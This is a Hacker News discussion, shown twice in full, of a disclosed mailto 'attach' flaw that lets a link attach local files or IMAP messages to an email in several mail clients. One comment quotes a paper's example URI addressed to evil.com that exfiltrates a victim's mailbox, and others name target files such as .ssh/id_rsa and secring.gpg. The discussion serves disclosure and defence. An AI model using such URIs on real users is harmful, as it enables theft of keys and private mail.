11 ms·

Mailto: ?attach=~/ parameter allows including arbitrary files on disk

305 points by Garbage 6y ago

netsharc 6y ago
Seems like a mail client stupidity, as the original twitterer follows up: https://twitter.com/jensvoid/status/1295358144600735744 https://twitter.com/jensvoid/status/1295358144600735744 I guess someone thought it was a useful addition (e.g. since on smartphones nowadays communication between apps is through launching of URLs, e.g. loading the URL "https://maps.google.com/...." https://maps.google.com/...." would open up the Google Maps app), but they didn't consider this exploit.
- chromedev 6y ago
  How can someone build such a feature and not consider the most basic security concerns?
  - sushshshsh 6y ago
    JIRA sprints occur every two weeks, and half of that is QA!
    - chromedev 6y ago
      I guess, but if developers and team can't comprehend the security concerns and ramifications of a change then it should wait until someone does.
    - grumple 6y ago
      You guys do QA?
      - sushshshsh 6y ago
        I swear they're paid by the bug, because every ticket is "is this requested behavior i uncovered a bug?"
  - tester34 6y ago
    I think the same reason that SQL Injection is still so common despite frameworks / orms protecting so hard and even the most broken english youtube tutorial mentioning that security issue maybe devs just dont care? maybe they tend to believe "who would inspect our page and try to manipulate form?? no one"? maybe lack of review? lack of time? too much context switching?
    - chromedev 6y ago
      Combination of not caring and little to no ramifications if there is a major breach. Heck, sometimes they may be intentional but it is easy to play dumb if you get caught.
  - giovannibajo1 6y ago
    The feature is useful for desktop applications that want to help the user compose a mail to the customer service, including some report logs as attachment. Notice that the user is still required to actually press Send in front of their default mail client with an open window showing the full email and attachments.
    - chromedev 6y ago
      I can't imagine any scenario of a widely used email app opening a hyperlink that automatically composes and attaches local files being acceptable, even if they have to click send.
      - t0astbread 6y ago
        What about sending crash reports or log files? Or some kind of internal workflow where you need to send something from one PC to another and this is the most convenient solution? (I could imagine some kind of tool that semi-automatically sends email but you don't wanna give it your SMTP credentials so it has to work with your MUA. Sounds weird but these kinds of awful problems with awful solutions exist probably en masse.) (Addendum: See spacebar heating macro XKCD.)
      - magicalhippo 6y ago
        Our program has documents attached to declarations. These typically come from some integration and is saved on a server/shared drive, in some arbitrary sub-directory to avoid too many files in one directory, and typically with some non-intuitive filename for good measure. Our users want to be able to be able to open a declaration and email the documents, either internally or to their customers, along with some message. We don't really want to implement a full email client in our program nor having to deal with their SMTP server setup, including proxies, firewall and so on. So we basically do exactly this, open a new mail in their client with some template text and with one or more attachments. We use MAPI though and not "mailto:", but use-case is there.
        sukilot 6y ago
  - netsharc 6y ago
    Honestly the devs probably didn't consider the worst case scenario. They probably thought "the users will be able to preview the e-mail and notice that s/he will send the attached files when s/he hits send" and that that's secure enough. Sadly we have the year 2020 and as Rick Cook said: “Programming today is a race between software engineers striving to build bigger and better idiot-proof programs, and the Universe trying to produce bigger and better idiots. So far, the Universe is winning.”. If the email program would pop up a warning that says "The following files have been automatically attached: [List of files]", would that meet the security concerns?
    - paledot 6y ago
      While there are times where that quote applies, in the vast majority of cases, that's the programmer's cop-out upon discovering that the feature they thought was done is in fact broken and obtuse, and they don't care to take the time to understand their customer. I don't want my email client automatically attaching files from my computer, period. I don't care how well or poorly it displays that fact. There's no use case important enough to warrant that kind of intrusion.
      - netsharc 6y ago
        Imagine you want to send a few photos - currently stored on your disk - to your mom. File manager, select a few files, right click, "send via e-mail". Or a letter you're typing, to some company: in your word processor, File -> Send as E-Mail. For these features to be able to work, the email client would need to have an API so it can create an e-mail with attachments directly attached. Sure they're not important, but they're convenient. You might not like them, but hey am I glad you're not a product owner of a mail software.
        paledot 6y ago
        Yes, of course you should be able to do that using an internal API. Maybe even an internal mailto: link, in the interest of interoperability. But no mail client should ever respect attachments requested by a mailto: link followed by a browser.
  - cesarb 6y ago
    This feature is probably from a more innocent time. Back then, things like automatically executing a macro with unrestricted filesystem access when opening a text document were treated as useful features.
thinkingemote 6y ago
Anyone have an easier to read version?
- dx034 6y ago
  The paper is easier to read than Twitter: https://www.nds.ruhr-uni-bochum.de/media/nds/veroeffentlichungen/2020/08/15/mailto-paper.pdf https://www.nds.ruhr-uni-bochum.de/media/nds/veroeffentlichu...
avian 6y ago
I can't replicate this with current Thunderbird 68.11.0 on Debian. It honors parameters such as subject= and body=, but attach= seems to be ignored. After a quick search through the paper [1] it seems that authors forgot to mention the software versions they were using in their research. [1] https://www.nds.ruhr-uni-bochum.de/media/nds/veroeffentlichungen/2020/08/15/mailto-paper.pdf https://www.nds.ruhr-uni-bochum.de/media/nds/veroeffentlichu...
- miken123 6y ago
  It should be patched since Dec 2019: https://twitter.com/jensvoid/status/1295633279727673344 https://twitter.com/jensvoid/status/1295633279727673344
  - avian 6y ago
    I found a discussion from March 2009 which suggests this issue was known back then [1]. Maybe the same feature was re-introduced later in some other part of the code? The link to source repo in the post is dead, but the file it references (nsSmtpUrl.cpp) still contains this comment on line 88 in current version: /* DO NOT support attachment= in mailto urls. This poses a security fire hole!!! [1] http://forums.mozillazine.org/viewtopic.php?f=30&t=1172555 http://forums.mozillazine.org/viewtopic.php?f=30&t=1172555
    - m4tthumphrey 6y ago
      That interesting as the OP is using `attachment` as the param when it is/was actually `attach`.
    - TheSoftwareGuy 6y ago
      Looking at the linked src code, there’s lots of mixed tabs/spaces for indent. shudders
    - sukilot 6y ago
      A comment in source code. Not the discerning professional's preferred tool for guaranteeing security-critical behaviors to prevent "fire holes".
DangerousPie 6y ago
Broken Twitter thread?
SyneRyder 6y ago
Full Twitter thread text by @jensvoid here, since the thread appears to be broken for some people: Have you ever heard of the mailto:?attach=~/… parameter? It allows to include arbitrary files on disk. So, why break PGP if you can politely ask the victim's mail client to include the private key? (1/4) You can even leak complete directories in some mail clients. Interestingly, Evolution shows a warning if you want to include a single file, but the full home directory is fine. (2/4) Such simple stupid mailto:?attach tricks worked in Thunderbird for Debian, GNOME Evolution (CVE-2020-11879), KDE KMail (CVE-2020-11880), IBM/HCL Notes (CVE-2020-4089), and Pegasus Mail. (3/4) This flaw, among others, is described in our IEEE CNS paper "Mailto: Me Your Secrets. On Bugs and Features in Email End-to-End Encryption" with @lambdafu , @dues__ , @seecurity , and @joergschwenk : https:// https:// nds.ruhr-uni-bochum.de/media/nds/veroeffentlichungen/2020/08/15/mailto-paper.pdf (4/4)
- floatingatoll 6y ago
  A later reply identifies the xdg-utils package responsible for the issue. As reported by author of the tweets: https://gitlab.freedesktop.org/xdg/xdg-utils/-/issues/177 https://gitlab.freedesktop.org/xdg/xdg-utils/-/issues/177
- ThePowerOfFuet 6y ago
  Non-broken link: https://nds.ruhr-uni-bochum.de/media/nds/veroeffentlichungen/2020/08/15/mailto-paper.pdf https://nds.ruhr-uni-bochum.de/media/nds/veroeffentlichungen...
jorams 6y ago
While it would definitely be better if this displayed a warning when opening the link, it still requires the victim to willingly send the email. Before doing that they see the list of attachments they are including, so this is a very visible attack.
- rascul 6y ago
  > Before doing that they see the list of attachments they are including, so this is a very visible attack. Depends on the client. I use claws-mail and I can't replicate this (not sure if maybe I'm doing it wrong), but I did note that if there were attachments, I wouldn't see them by default without clicking the attachments tab in the compose window.
vortico 6y ago
That's why I use web-based email (FastMail and Proton Mail personally) because I want email software to exist in the same sandbox as all websites I visit on the web.
- sukilot 6y ago
  Seems like a reason to use an OS with sandboxing.
  - yjftsjthsd-h 6y ago
    A browser effectively is an OS with sandboxing.
    - smichel17 6y ago
      Yes, but it doesn't integrate with my native window manager.
      - pjmlp 6y ago
        Not with yours, but it does so with ChromeOS and Windows (as PWA).
  - segfaultbuserr 6y ago
    I browse the web on QubesOS in a disposable VM. There's no user data in the disposable VM, and all the data is cleared when the browser is turned off. Also, QubesOS allows me to run my GnuPG daemon in a separate domain completely isolated from all other applications. This is the ultimate defense against arbitrary code execution in a buggy web browser. To take over the computer, the attacker must exploit the Xen hypervisor or a CPU side-channel, not just a 0day in Firefox or a PDF reader. Yes, QubesOS's approach is not pretty, it's a hack and resource-heavy. But this hack allowed us to continue using an existing insecure desktop system, device drivers and applications, without reinventing the OS and the desktop with its set-back of non-existent support. At least it's a very practical stop-gap measure before someone reinvents OS security. A lightweight solution I used previously was running the browser in a separate Unix user with firejail's sandbox. If it's not running a separate X server, the attacker is free to take over the X server and inject keyboard and mouse inputs, but at least the files in the primary /home directory is inaccessible. I did this a few years ago after the disclosure of a file-leaking vulnerability in Firefox, because I assumed similar exploits may be discovered in the future, apparently I'm not wrong.
lol768 6y ago
I'm not convinced this is as big an issue as has been made out here. Why would you click a link and then voluntarily send an email with a file called "passwd" or "secring.gpg" in the attachments list?! Perhaps you could show a scarier warning or something, rather than just declaring the functionality unacceptably dangerous and removing it. There are genuine use-cases discussed in this thread. At the end of the day, the user needs to accept responsibility for things they voluntarily do on their machine. Generally though, I'm not sure this functionality makes much sense if it's initiated from a web-page. If you had another app on your machine though, that already had disk access, it might make sense to be able to launch the email client with something pre-attached.
- newsbinator 6y ago
  It is a big issue, and it's not surprising some hackers wouldn't understand how big. A lot of people, most even, have no idea what is happening on about 90% of their screen, about 90% of the time. And they're used to being forever in the dark about what their machine is doing and why. They expect it. They know they're writing an email and they can see the box they're typing into, but other components, like the status bar, title bar, and attachments field, are outside their sphere of perception. At least or especially when they're not actively thinking about attaching a file intentionally, say. It's like a serious chess player, who sees the whole board and thinks multiple moves ahead, compared to a novice who learnt the rules yesterday and can only see the horsey piece and the pieces immediately surrounding the horsey piece. These users have a checklist approach to using their computer: Step 1: click this Step 2: that happens Step 3: Did what I wanted to happen, happen? Step 4: there is no step 4 The professor who didn't realize there's a "fullscreen" button when showing videos to the class is the same one who can't perceive the attachments field and will send a file called 'passwd'. And if the mail client puts up an alert that says, "Are you sure you want to attach and send a file called passwd to p0wn.me@gmail.com?", they'll click 'Yes' and get on with their day.
  - syberspace 6y ago
    I think you are correct with your assessment of how most people use computers. But I don't agree with your conclusion that they need to be protected. If I want to hammer in a nail and accidentally hit my finger that's not the hammer-manufacturer's fault or responsibility. So why should it be the email-client's fault/responsibility to make sure I don't send my private keys? If people refuse to learn how to use a hammer they will keep hitting their fingers, if people are refuse to learn how to use their email-client they will keep sending their private keys to bad actors.
upofadown 6y ago
>So, why break PGP if you can politely ask the victim's mail client to include the private key? If your PGP private key has a good passphrase then you are still OK. This attack suggests that there is some value in how most PGP implementations attempt to protect the private key locally. As a counter example, Signal Messenger does not even try to protect the private key or saved messages except with a short pin (and that is a new feature). That is probably based on the idea that any local attack is going to end up being a complete compromise of the end point ... which is not an unreasonable assumption. Then you can sniff any passphrase without any extra trouble. In the end, message security is endpoint security. This attack is entirely generic. It seems odd that the authors only mention the possibility of a PGP compromise and ignore all the other messengers out there that could be also compromised by arbitrary remote file access. It would of made things more compelling.
- sukilot 6y ago
  > That is probably based on the idea that any local attack is going to end up being a complete compromise of the end point ... which is not an unreasonable assumption. It's absolutely unreasonable. If my endpoint is compromised, should I assume my key is potentially violated, and so change it? Yes But should I assume that everything in my life is tainted and therefore pre-emptively expose all my secrets to attackers immediately? Of course not.
  - gvjddbnvdrbv 6y ago
    I think the OP is actually suggesting that password protection provides a layer of defence in depth.
- gvjddbnvdrbv 6y ago
  .ssh/id_rsa... Nasty!
  - frutiger 6y ago
    You likely mean .ssh/id_rsa (or perhaps .ssh/id_ed25519). The .pub variants are safe to share.
dathinab 6y ago
Wait someone implemented that? I have read some of the mail standards and know that they have quite a number of "annoyances" some with bad security implications. But I believed that modern mail software treats them as uhm "legacy madness" and just doesn't implement them.
- Tepix 6y ago
  It's not in the standard. I have no idea why several MTAs decided to implement this, and did so in an unsafe manner.
  - floatingatoll 6y ago
    https://gitlab.freedesktop.org/xdg/xdg-utils/-/issues/177 https://gitlab.freedesktop.org/xdg/xdg-utils/-/issues/177 Wasn’t the MTAs, this time.
  - jcranmer 6y ago
    Imagine you're providing a desktop shell. You want to support a right-click "Send this file via email" option. This also happens for things like document editing where you want to send the current document as an email attachment. Now imagine you've decided the only portable way to marshal the information of what to send is to use an extension to the URI for mailto. This means you can no longer reliably figure out if the URI is "safe" (being generated by a program that wants to effect a "send this document") or "unsafe" (I clicked a link in my web browser). XDG chose to go down the stupid path. Windows opted to use MAPI, so MAPISendMail lets you attach files for the shell extensions.
ryanjshaw 6y ago
The Confused Deputy strikes again [1] [1] https://en.wikipedia.org/wiki/Confused_deputy_problem https://en.wikipedia.org/wiki/Confused_deputy_problem
mike-cardwell 6y ago
Sigh This works on latest Evolution on Debian, I just tested. I can see how somebody might miss that there is an attachment, especially on a large screen like mine (40 inches). I've just repointed the system default mail client at Mutt (which is not configured), so I have to copy mail links from now on to get them into Evolution.
chadlavi 6y ago
huh, that's surprising. Just in case anyone else is curious, this doesn't have any effect in the Mail app on macOS.
Tepix 6y ago
The "attach" parameter is not mentioned in the mailto URI RFC 6068. How was this standardized? Why did clients implement this?
- zerkten 6y ago
  > Why did clients implement this? People have processes that put files in standard places and require users to email them the files. Yes, the average HN reader could automate away any need for the average process, but it exists and can't be changed. Email client developers go ahead and implement niceties without considering the risk.
- InfiniteRand 6y ago
  I think the intent was probably for the parameter to be used by desktop applications so that they could generate or find a file and then open an email with the file already attached.
Tepix 6y ago
It's even worse. From the paper: 3) Access to IMAP Storage: Thunderbird uses an adapted version of the imap:// URI scheme to internally address emails stored on IMAP folders. This allows an attacker to include messages on the victim’s IMAP server (specified by their UID) using an attach parameter, as shown in Listing 6. mailto:sid@evil.com?attach=imap:///fetch>UID>/INBOX>1 Listing 6. Mailto URI to attach the first email from the victim’s IMAP server. Multiple emails can be attached by using multiple attach parameters with different UIDs. By setting the UID from one to the maximum number of stored messages, and including all UIDs as attach parameters the whole mailbox of the victim can be exfiltrated at once. Even worse, all OpenPGP and S/MIME encrypted emails in the attached email are automatically decrypted by Thunderbird before sending them back to the attacker. Sheesh!
- upofadown 6y ago
  Decrypted messages should never be stored on the IMAP server. That is pretty much the whole thing here. It overtly defeats the PGP encrypt once scheme. In the same way, a user intending to send an encrypted email should be able to be confident that the email client will not automatically save an unencrypted message to some sort of Drafts folder on the IMAP server.
  - boring_twenties 6y ago
    It sounds like he's saying the client would fetch the messages, decrypt them, and attach the plaintext.
- gvjddbnvdrbv 6y ago
  Saving grace here might be that most mailboxes will be bigger than what can be sent in an email...
jwr 6y ago
Much as this is bad, I will address the "GPG secret key" angle: if (like me) you only store your secret keys on a physical device, as described for example here: https://github.com/drduh/YubiKey-Guide https://github.com/drduh/YubiKey-Guide, then you have nothing to worry about, because your secret key does not reside anywhere where it's accessible.
- gspr 6y ago
  OK, so replace "GPG secret key" with any other secret you definitely don't wanna email off to some random stranger :-)
Mic92 6y ago
Here is the NixOS patch for xdg-utils: https://github.com/NixOS/nixpkgs/pull/95758 https://github.com/NixOS/nixpkgs/pull/95758
- Mic92 6y ago
  Will also sent upstream once I got an account and nobody is faster than me.
l0b0 6y ago
I wonder if anyone has tried to do something like this for meeting invite responses, which are sent at least in Evolution without any user intervention. Could you craft a meeting invite URL or mail such that the response would include a file or email?

305 points by Garbage 6y ago

Seems like a mail client stupidity, as the original twitterer follows up: https://twitter.com/jensvoid/status/1295358144600735744 https://twitter.com/jensvoid/status/1295358144600735744 I guess someone thought it was a useful addition (e.g. since on smartphones nowadays communication between apps is through launching of URLs, e.g. loading the URL "https://maps.google.com/...." https://maps.google.com/...." would open up the Google Maps app), but they didn't consider this exploit.

chromedev 6y ago
How can someone build such a feature and not consider the most basic security concerns?
- sushshshsh 6y ago
  JIRA sprints occur every two weeks, and half of that is QA!
  - chromedev 6y ago
    I guess, but if developers and team can't comprehend the security concerns and ramifications of a change then it should wait until someone does.
  - grumple 6y ago
    You guys do QA?
    - sushshshsh 6y ago
      I swear they're paid by the bug, because every ticket is "is this requested behavior i uncovered a bug?"
- tester34 6y ago
  I think the same reason that SQL Injection is still so common despite frameworks / orms protecting so hard and even the most broken english youtube tutorial mentioning that security issue maybe devs just dont care? maybe they tend to believe "who would inspect our page and try to manipulate form?? no one"? maybe lack of review? lack of time? too much context switching?
  - chromedev 6y ago
    Combination of not caring and little to no ramifications if there is a major breach. Heck, sometimes they may be intentional but it is easy to play dumb if you get caught.
- giovannibajo1 6y ago
  The feature is useful for desktop applications that want to help the user compose a mail to the customer service, including some report logs as attachment. Notice that the user is still required to actually press Send in front of their default mail client with an open window showing the full email and attachments.
  - chromedev 6y ago
    I can't imagine any scenario of a widely used email app opening a hyperlink that automatically composes and attaches local files being acceptable, even if they have to click send.
    - t0astbread 6y ago
      What about sending crash reports or log files? Or some kind of internal workflow where you need to send something from one PC to another and this is the most convenient solution? (I could imagine some kind of tool that semi-automatically sends email but you don't wanna give it your SMTP credentials so it has to work with your MUA. Sounds weird but these kinds of awful problems with awful solutions exist probably en masse.) (Addendum: See spacebar heating macro XKCD.)
    - magicalhippo 6y ago
      Our program has documents attached to declarations. These typically come from some integration and is saved on a server/shared drive, in some arbitrary sub-directory to avoid too many files in one directory, and typically with some non-intuitive filename for good measure. Our users want to be able to be able to open a declaration and email the documents, either internally or to their customers, along with some message. We don't really want to implement a full email client in our program nor having to deal with their SMTP server setup, including proxies, firewall and so on. So we basically do exactly this, open a new mail in their client with some template text and with one or more attachments. We use MAPI though and not "mailto:", but use-case is there.
      - sukilot 6y ago
- netsharc 6y ago
  Honestly the devs probably didn't consider the worst case scenario. They probably thought "the users will be able to preview the e-mail and notice that s/he will send the attached files when s/he hits send" and that that's secure enough. Sadly we have the year 2020 and as Rick Cook said: “Programming today is a race between software engineers striving to build bigger and better idiot-proof programs, and the Universe trying to produce bigger and better idiots. So far, the Universe is winning.”. If the email program would pop up a warning that says "The following files have been automatically attached: [List of files]", would that meet the security concerns?
  - paledot 6y ago
    While there are times where that quote applies, in the vast majority of cases, that's the programmer's cop-out upon discovering that the feature they thought was done is in fact broken and obtuse, and they don't care to take the time to understand their customer. I don't want my email client automatically attaching files from my computer, period. I don't care how well or poorly it displays that fact. There's no use case important enough to warrant that kind of intrusion.
    - netsharc 6y ago
      Imagine you want to send a few photos - currently stored on your disk - to your mom. File manager, select a few files, right click, "send via e-mail". Or a letter you're typing, to some company: in your word processor, File -> Send as E-Mail. For these features to be able to work, the email client would need to have an API so it can create an e-mail with attachments directly attached. Sure they're not important, but they're convenient. You might not like them, but hey am I glad you're not a product owner of a mail software.
      - paledot 6y ago
        Yes, of course you should be able to do that using an internal API. Maybe even an internal mailto: link, in the interest of interoperability. But no mail client should ever respect attachments requested by a mailto: link followed by a browser.
- cesarb 6y ago
  This feature is probably from a more innocent time. Back then, things like automatically executing a macro with unrestricted filesystem access when opening a text document were treated as useful features.

thinkingemote 6y ago

Anyone have an easier to read version?

dx034 6y ago
The paper is easier to read than Twitter: https://www.nds.ruhr-uni-bochum.de/media/nds/veroeffentlichungen/2020/08/15/mailto-paper.pdf https://www.nds.ruhr-uni-bochum.de/media/nds/veroeffentlichu...

avian 6y ago

I can't replicate this with current Thunderbird 68.11.0 on Debian. It honors parameters such as subject= and body=, but attach= seems to be ignored. After a quick search through the paper [1] it seems that authors forgot to mention the software versions they were using in their research. [1] https://www.nds.ruhr-uni-bochum.de/media/nds/veroeffentlichungen/2020/08/15/mailto-paper.pdf https://www.nds.ruhr-uni-bochum.de/media/nds/veroeffentlichu...

miken123 6y ago
It should be patched since Dec 2019: https://twitter.com/jensvoid/status/1295633279727673344 https://twitter.com/jensvoid/status/1295633279727673344
- avian 6y ago
  I found a discussion from March 2009 which suggests this issue was known back then [1]. Maybe the same feature was re-introduced later in some other part of the code? The link to source repo in the post is dead, but the file it references (nsSmtpUrl.cpp) still contains this comment on line 88 in current version: /* DO NOT support attachment= in mailto urls. This poses a security fire hole!!! [1] http://forums.mozillazine.org/viewtopic.php?f=30&t=1172555 http://forums.mozillazine.org/viewtopic.php?f=30&t=1172555
  - m4tthumphrey 6y ago
    That interesting as the OP is using `attachment` as the param when it is/was actually `attach`.
  - TheSoftwareGuy 6y ago
    Looking at the linked src code, there’s lots of mixed tabs/spaces for indent. shudders
  - sukilot 6y ago
    A comment in source code. Not the discerning professional's preferred tool for guaranteeing security-critical behaviors to prevent "fire holes".

DangerousPie 6y ago

Broken Twitter thread?

SyneRyder 6y ago

Full Twitter thread text by @jensvoid here, since the thread appears to be broken for some people: Have you ever heard of the mailto:?attach=~/… parameter? It allows to include arbitrary files on disk. So, why break PGP if you can politely ask the victim's mail client to include the private key? (1/4) You can even leak complete directories in some mail clients. Interestingly, Evolution shows a warning if you want to include a single file, but the full home directory is fine. (2/4) Such simple stupid mailto:?attach tricks worked in Thunderbird for Debian, GNOME Evolution (CVE-2020-11879), KDE KMail (CVE-2020-11880), IBM/HCL Notes (CVE-2020-4089), and Pegasus Mail. (3/4) This flaw, among others, is described in our IEEE CNS paper "Mailto: Me Your Secrets. On Bugs and Features in Email End-to-End Encryption" with @lambdafu , @dues__ , @seecurity , and @joergschwenk : https:// https:// nds.ruhr-uni-bochum.de/media/nds/veroeffentlichungen/2020/08/15/mailto-paper.pdf (4/4)

floatingatoll 6y ago
A later reply identifies the xdg-utils package responsible for the issue. As reported by author of the tweets: https://gitlab.freedesktop.org/xdg/xdg-utils/-/issues/177 https://gitlab.freedesktop.org/xdg/xdg-utils/-/issues/177
ThePowerOfFuet 6y ago
Non-broken link: https://nds.ruhr-uni-bochum.de/media/nds/veroeffentlichungen/2020/08/15/mailto-paper.pdf https://nds.ruhr-uni-bochum.de/media/nds/veroeffentlichungen...

jorams 6y ago

While it would definitely be better if this displayed a warning when opening the link, it still requires the victim to willingly send the email. Before doing that they see the list of attachments they are including, so this is a very visible attack.

rascul 6y ago
> Before doing that they see the list of attachments they are including, so this is a very visible attack. Depends on the client. I use claws-mail and I can't replicate this (not sure if maybe I'm doing it wrong), but I did note that if there were attachments, I wouldn't see them by default without clicking the attachments tab in the compose window.

vortico 6y ago

That's why I use web-based email (FastMail and Proton Mail personally) because I want email software to exist in the same sandbox as all websites I visit on the web.

sukilot 6y ago
Seems like a reason to use an OS with sandboxing.
- yjftsjthsd-h 6y ago
  A browser effectively is an OS with sandboxing.
  - smichel17 6y ago
    Yes, but it doesn't integrate with my native window manager.
    - pjmlp 6y ago
      Not with yours, but it does so with ChromeOS and Windows (as PWA).
- segfaultbuserr 6y ago
  I browse the web on QubesOS in a disposable VM. There's no user data in the disposable VM, and all the data is cleared when the browser is turned off. Also, QubesOS allows me to run my GnuPG daemon in a separate domain completely isolated from all other applications. This is the ultimate defense against arbitrary code execution in a buggy web browser. To take over the computer, the attacker must exploit the Xen hypervisor or a CPU side-channel, not just a 0day in Firefox or a PDF reader. Yes, QubesOS's approach is not pretty, it's a hack and resource-heavy. But this hack allowed us to continue using an existing insecure desktop system, device drivers and applications, without reinventing the OS and the desktop with its set-back of non-existent support. At least it's a very practical stop-gap measure before someone reinvents OS security. A lightweight solution I used previously was running the browser in a separate Unix user with firejail's sandbox. If it's not running a separate X server, the attacker is free to take over the X server and inject keyboard and mouse inputs, but at least the files in the primary /home directory is inaccessible. I did this a few years ago after the disclosure of a file-leaking vulnerability in Firefox, because I assumed similar exploits may be discovered in the future, apparently I'm not wrong.

lol768 6y ago

I'm not convinced this is as big an issue as has been made out here. Why would you click a link and then voluntarily send an email with a file called "passwd" or "secring.gpg" in the attachments list?! Perhaps you could show a scarier warning or something, rather than just declaring the functionality unacceptably dangerous and removing it. There are genuine use-cases discussed in this thread. At the end of the day, the user needs to accept responsibility for things they voluntarily do on their machine. Generally though, I'm not sure this functionality makes much sense if it's initiated from a web-page. If you had another app on your machine though, that already had disk access, it might make sense to be able to launch the email client with something pre-attached.

newsbinator 6y ago
It is a big issue, and it's not surprising some hackers wouldn't understand how big. A lot of people, most even, have no idea what is happening on about 90% of their screen, about 90% of the time. And they're used to being forever in the dark about what their machine is doing and why. They expect it. They know they're writing an email and they can see the box they're typing into, but other components, like the status bar, title bar, and attachments field, are outside their sphere of perception. At least or especially when they're not actively thinking about attaching a file intentionally, say. It's like a serious chess player, who sees the whole board and thinks multiple moves ahead, compared to a novice who learnt the rules yesterday and can only see the horsey piece and the pieces immediately surrounding the horsey piece. These users have a checklist approach to using their computer: Step 1: click this Step 2: that happens Step 3: Did what I wanted to happen, happen? Step 4: there is no step 4 The professor who didn't realize there's a "fullscreen" button when showing videos to the class is the same one who can't perceive the attachments field and will send a file called 'passwd'. And if the mail client puts up an alert that says, "Are you sure you want to attach and send a file called passwd to p0wn.me@gmail.com?", they'll click 'Yes' and get on with their day.
- syberspace 6y ago
  I think you are correct with your assessment of how most people use computers. But I don't agree with your conclusion that they need to be protected. If I want to hammer in a nail and accidentally hit my finger that's not the hammer-manufacturer's fault or responsibility. So why should it be the email-client's fault/responsibility to make sure I don't send my private keys? If people refuse to learn how to use a hammer they will keep hitting their fingers, if people are refuse to learn how to use their email-client they will keep sending their private keys to bad actors.

upofadown 6y ago

>So, why break PGP if you can politely ask the victim's mail client to include the private key? If your PGP private key has a good passphrase then you are still OK. This attack suggests that there is some value in how most PGP implementations attempt to protect the private key locally. As a counter example, Signal Messenger does not even try to protect the private key or saved messages except with a short pin (and that is a new feature). That is probably based on the idea that any local attack is going to end up being a complete compromise of the end point ... which is not an unreasonable assumption. Then you can sniff any passphrase without any extra trouble. In the end, message security is endpoint security. This attack is entirely generic. It seems odd that the authors only mention the possibility of a PGP compromise and ignore all the other messengers out there that could be also compromised by arbitrary remote file access. It would of made things more compelling.

sukilot 6y ago
> That is probably based on the idea that any local attack is going to end up being a complete compromise of the end point ... which is not an unreasonable assumption. It's absolutely unreasonable. If my endpoint is compromised, should I assume my key is potentially violated, and so change it? Yes But should I assume that everything in my life is tainted and therefore pre-emptively expose all my secrets to attackers immediately? Of course not.
- gvjddbnvdrbv 6y ago
  I think the OP is actually suggesting that password protection provides a layer of defence in depth.
gvjddbnvdrbv 6y ago
.ssh/id_rsa... Nasty!
- frutiger 6y ago
  You likely mean .ssh/id_rsa (or perhaps .ssh/id_ed25519). The .pub variants are safe to share.

dathinab 6y ago

Wait someone implemented that? I have read some of the mail standards and know that they have quite a number of "annoyances" some with bad security implications. But I believed that modern mail software treats them as uhm "legacy madness" and just doesn't implement them.

Tepix 6y ago
It's not in the standard. I have no idea why several MTAs decided to implement this, and did so in an unsafe manner.
- floatingatoll 6y ago
  https://gitlab.freedesktop.org/xdg/xdg-utils/-/issues/177 https://gitlab.freedesktop.org/xdg/xdg-utils/-/issues/177 Wasn’t the MTAs, this time.
- jcranmer 6y ago
  Imagine you're providing a desktop shell. You want to support a right-click "Send this file via email" option. This also happens for things like document editing where you want to send the current document as an email attachment. Now imagine you've decided the only portable way to marshal the information of what to send is to use an extension to the URI for mailto. This means you can no longer reliably figure out if the URI is "safe" (being generated by a program that wants to effect a "send this document") or "unsafe" (I clicked a link in my web browser). XDG chose to go down the stupid path. Windows opted to use MAPI, so MAPISendMail lets you attach files for the shell extensions.

ryanjshaw 6y ago

The Confused Deputy strikes again [1] [1] https://en.wikipedia.org/wiki/Confused_deputy_problem https://en.wikipedia.org/wiki/Confused_deputy_problem

mike-cardwell 6y ago

Sigh This works on latest Evolution on Debian, I just tested. I can see how somebody might miss that there is an attachment, especially on a large screen like mine (40 inches). I've just repointed the system default mail client at Mutt (which is not configured), so I have to copy mail links from now on to get them into Evolution.

chadlavi 6y ago

huh, that's surprising. Just in case anyone else is curious, this doesn't have any effect in the Mail app on macOS.

Tepix 6y ago

The "attach" parameter is not mentioned in the mailto URI RFC 6068. How was this standardized? Why did clients implement this?

zerkten 6y ago
> Why did clients implement this? People have processes that put files in standard places and require users to email them the files. Yes, the average HN reader could automate away any need for the average process, but it exists and can't be changed. Email client developers go ahead and implement niceties without considering the risk.
InfiniteRand 6y ago
I think the intent was probably for the parameter to be used by desktop applications so that they could generate or find a file and then open an email with the file already attached.

Tepix 6y ago

It's even worse. From the paper: 3) Access to IMAP Storage: Thunderbird uses an adapted version of the imap:// URI scheme to internally address emails stored on IMAP folders. This allows an attacker to include messages on the victim’s IMAP server (specified by their UID) using an attach parameter, as shown in Listing 6. mailto:sid@evil.com?attach=imap:///fetch>UID>/INBOX>1 Listing 6. Mailto URI to attach the first email from the victim’s IMAP server. Multiple emails can be attached by using multiple attach parameters with different UIDs. By setting the UID from one to the maximum number of stored messages, and including all UIDs as attach parameters the whole mailbox of the victim can be exfiltrated at once. Even worse, all OpenPGP and S/MIME encrypted emails in the attached email are automatically decrypted by Thunderbird before sending them back to the attacker. Sheesh!

upofadown 6y ago
Decrypted messages should never be stored on the IMAP server. That is pretty much the whole thing here. It overtly defeats the PGP encrypt once scheme. In the same way, a user intending to send an encrypted email should be able to be confident that the email client will not automatically save an unencrypted message to some sort of Drafts folder on the IMAP server.
- boring_twenties 6y ago
  It sounds like he's saying the client would fetch the messages, decrypt them, and attach the plaintext.
gvjddbnvdrbv 6y ago
Saving grace here might be that most mailboxes will be bigger than what can be sent in an email...

jwr 6y ago

Much as this is bad, I will address the "GPG secret key" angle: if (like me) you only store your secret keys on a physical device, as described for example here: https://github.com/drduh/YubiKey-Guide https://github.com/drduh/YubiKey-Guide, then you have nothing to worry about, because your secret key does not reside anywhere where it's accessible.

gspr 6y ago
OK, so replace "GPG secret key" with any other secret you definitely don't wanna email off to some random stranger :-)

Mic92 6y ago

Here is the NixOS patch for xdg-utils: https://github.com/NixOS/nixpkgs/pull/95758 https://github.com/NixOS/nixpkgs/pull/95758

Mic92 6y ago
Will also sent upstream once I got an account and nobody is faster than me.

l0b0 6y ago

I wonder if anyone has tried to do something like this for meeting invite responses, which are sent at least in Evolution without any user intervention. Could you craft a meeting invite URL or mail such that the response would include a file or email?